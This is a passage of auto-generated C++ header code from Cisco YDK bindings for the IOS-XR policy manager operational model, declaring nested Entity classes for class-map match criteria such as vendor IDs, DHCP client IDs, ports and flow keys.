ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList string_array; //type: list of string }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClEncode::InlineCmap::MatchInfop::ClassMatchInfoSt::MatchData::VendorId class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClEncode::InlineCmap::MatchInfop::ClassMatchInfoSt::MatchData::VendorIdRegex : public ydk::Entity { public: VendorIdRegex(); ~VendorIdRegex(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList string_array; //type: list of string }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClEncode::InlineCmap::MatchInfop::ClassMatchInfoSt::MatchData::VendorIdRegex class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClEncode::InlineCmap::MatchInfop::ClassMatchInfoSt::MatchData::AccessInterface : public ydk::Entity { public: AccessInterface(); ~AccessInterface(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList string_array; //type: list of string }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClEncode::InlineCmap::MatchInfop::ClassMatchInfoSt::MatchData::AccessInterface class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClEncode::InlineCmap::MatchInfop::ClassMatchInfoSt::MatchData::InputInterface : public ydk::Entity { public: InputInterface(); ~InputInterface(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList string_array; //type: list of string }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClEncode::InlineCmap::MatchInfop::ClassMatchInfoSt::MatchData::InputInterface class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClEncode::InlineCmap::MatchInfop::ClassMatchInfoSt::MatchData::InputIntfhdl : public ydk::Entity { public: InputIntfhdl(); ~InputIntfhdl(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList uint64_array; //type: list of uint64 }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClEncode::InlineCmap::MatchInfop::ClassMatchInfoSt::MatchData::InputIntfhdl class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClEncode::InlineCmap::MatchInfop::ClassMatchInfoSt::MatchData::Ethertype : public ydk::Entity { public: Ethertype(); ~Ethertype(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class Uint16RngArray; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClEncode::InlineCmap::MatchInfop::ClassMatchInfoSt::MatchData::Ethertype::Uint16RngArray ydk::YList uint16_rng_array; }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClEncode::InlineCmap::MatchInfop::ClassMatchInfoSt::MatchData::Ethertype class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClEncode::InlineCmap::MatchInfop::ClassMatchInfoSt::MatchData::Ethertype::Uint16RngArray : public ydk::Entity { public: Uint16RngArray(); ~Uint16RngArray(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf min; //type: uint16 ydk::YLeaf max; //type: uint16 }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClEncode::InlineCmap::MatchInfop::ClassMatchInfoSt::MatchData::Ethertype::Uint16RngArray class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClEncode::InlineCmap::MatchInfop::ClassMatchInfoSt::MatchData::FlowKeyData : public ydk::Entity { public: FlowKeyData(); ~FlowKeyData(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf max_count; //type: uint16 ydk::YLeaf idle_timeout; //type: uint16 class FlowKeys; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClEncode::InlineCmap::MatchInfop::ClassMatchInfoSt::MatchData::FlowKeyData::FlowKeys std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClEncode::InlineCmap::MatchInfop::ClassMatchInfoSt::MatchData::FlowKeyData::FlowKeys> flow_keys; }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClEncode::InlineCmap::MatchInfop::ClassMatchInfoSt::MatchData::FlowKeyData class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClEncode::InlineCmap::MatchInfop::ClassMatchInfoSt::MatchData::FlowKeyData::FlowKeys : public ydk::Entity { public: FlowKeys(); ~FlowKeys(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf keys; //type: string ydk::YLeaf num; //type: uint8 }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClEncode::InlineCmap::MatchInfop::ClassMatchInfoSt::MatchData::FlowKeyData::FlowKeys class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClEncode::InlineCmap::MatchInfop::ClassMatchInfoSt::MatchData::DhcpClientId : public ydk::Entity { public: DhcpClientId(); ~DhcpClientId(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList string_array; //type: list of string }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClEncode::InlineCmap::MatchInfop::ClassMatchInfoSt::MatchData::DhcpClientId class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClEncode::InlineCmap::MatchInfop::ClassMatchInfoSt::MatchData::DhcpClientIdRegex : public ydk::Entity { public: DhcpClientIdRegex(); ~DhcpClientIdRegex(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList string_array; //type: list of string }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClEncode::InlineCmap::MatchInfop::ClassMatchInfoSt::MatchData::DhcpClientIdRegex class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClEncode::InlineCmap::MatchInfop::ClassMatchInfoSt::MatchData::CircuitId : public ydk::Entity { public: CircuitId(); ~CircuitId(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList string_array; //type: list of string }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClEncode::InlineCmap::MatchInfop::ClassMatchInfoSt::MatchData::CircuitId class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClEncode::InlineCmap::MatchInfop::ClassMatchInfoSt::MatchData::CircuitIdRegex : public ydk::Entity { public: CircuitIdRegex(); ~CircuitIdRegex(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList string_array; //type: list of string }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClEncode::InlineCmap::MatchInfop::ClassMatchInfoSt::MatchData::CircuitIdRegex class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClEncode::InlineCmap::MatchInfop::ClassMatchInfoSt::MatchData::RemoteId : public ydk::Entity { public: RemoteId(); ~RemoteId(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList string_array; //type: list of string }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClEncode::InlineCmap::MatchInfop::ClassMatchInfoSt::MatchData::RemoteId class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClEncode::InlineCmap::MatchInfop::ClassMatchInfoSt::MatchData::RemoteIdRegex : public ydk::Entity { public: RemoteIdRegex(); ~RemoteIdRegex(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeafList string_array; //type: list of string }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClEncode::InlineCmap::MatchInfop::ClassMatchInfoSt::MatchData::RemoteIdRegex class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClEncode::InlineCmap::MatchInfop::ClassMatchInfoSt::MatchData::SrcPort : public ydk::Entity { public: SrcPort(); ~SrcPort(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class Uint16RngArray; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClEncode::InlineCmap::MatchInfop::ClassMatchInfoSt::MatchData::SrcPort::Uint16RngArray ydk::YList uint16_rng_array; }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClEncode::InlineCmap::MatchInfop::ClassMatchInfoSt::MatchData::SrcPort class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClEncode::InlineCmap::MatchInfop::ClassMatchInfoSt::MatchData::SrcPort::Uint16RngArray : public ydk::Entity { public: Uint16RngArray(); ~Uint16RngArray(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf min; //type: uint16 ydk::YLeaf max; //type: uint16 }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClEncode::InlineCmap::MatchInfop::ClassMatchInfoSt::MatchData::SrcPort::Uint16RngArray class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClEncode::InlineCmap::MatchInfop::ClassMatchInfoSt::MatchData::DstPort : public ydk::Entity { public: DstPort(); ~DstPort(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class Uint16RngArray; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClEncode::InlineCmap::MatchInfop::ClassMatchInfoSt::MatchData::DstPort::Uint16RngArray ydk::YList uint16_rng_array; }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClEncode::InlineCmap::MatchInfop::ClassMatchInfoSt::MatchData::DstPort class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClEncode::InlineCmap::MatchInfop::ClassMatchInfoSt::MatchData::DstPort::Uint16RngArray : public ydk::Entity { public: Uint16RngArray(); ~Uint16RngArray(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf min; //type: uint16 ydk::YLeaf max; //type: uint16 }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClEncode::InlineCmap::MatchInfop::ClassMatchInfoSt::MatchData::DstPort::Uint16RngArray class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP : public ydk::Entity { public: ClmpP(); ~ClmpP(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class ClassMapBg; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg ydk::YList class_map_bg; }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP class PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg : public ydk::Entity { public: ClassMapBg(); ~ClassMapBg(); bool has_data() const override; bool has_operation() const override; std::vector<std::pair<std::string, ydk::LeafData> > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr<ydk::Entity> get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map<std::string, std::shared_ptr<ydk::Entity>> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf name; //type: string ydk::YLeaf type; //type: ClassMapTypeEn ydk::YLeaf mode; //type: ClassMapModeEn ydk::YLeaf description; //type: string class MatchInfop; //type: PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop std::shared_ptr<cisco_ios_xr::Cisco_IOS_XR_infra_policymgr_oper::PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg::MatchInfop> match_infop; }; // PolicyManager::Nodes::Node::PolicyMap::TransientPolicyMapTypeXr::TransientPolicyMapType::TransientPolicyMapNames::TransientPolicyMapName::ClassHandles::ClassHandle::PolicyMapBg::EventInfop::PolicyEventInfoBg::ClassInfop::PolicyClassInfoBg::ClmpP::ClassMapBg class 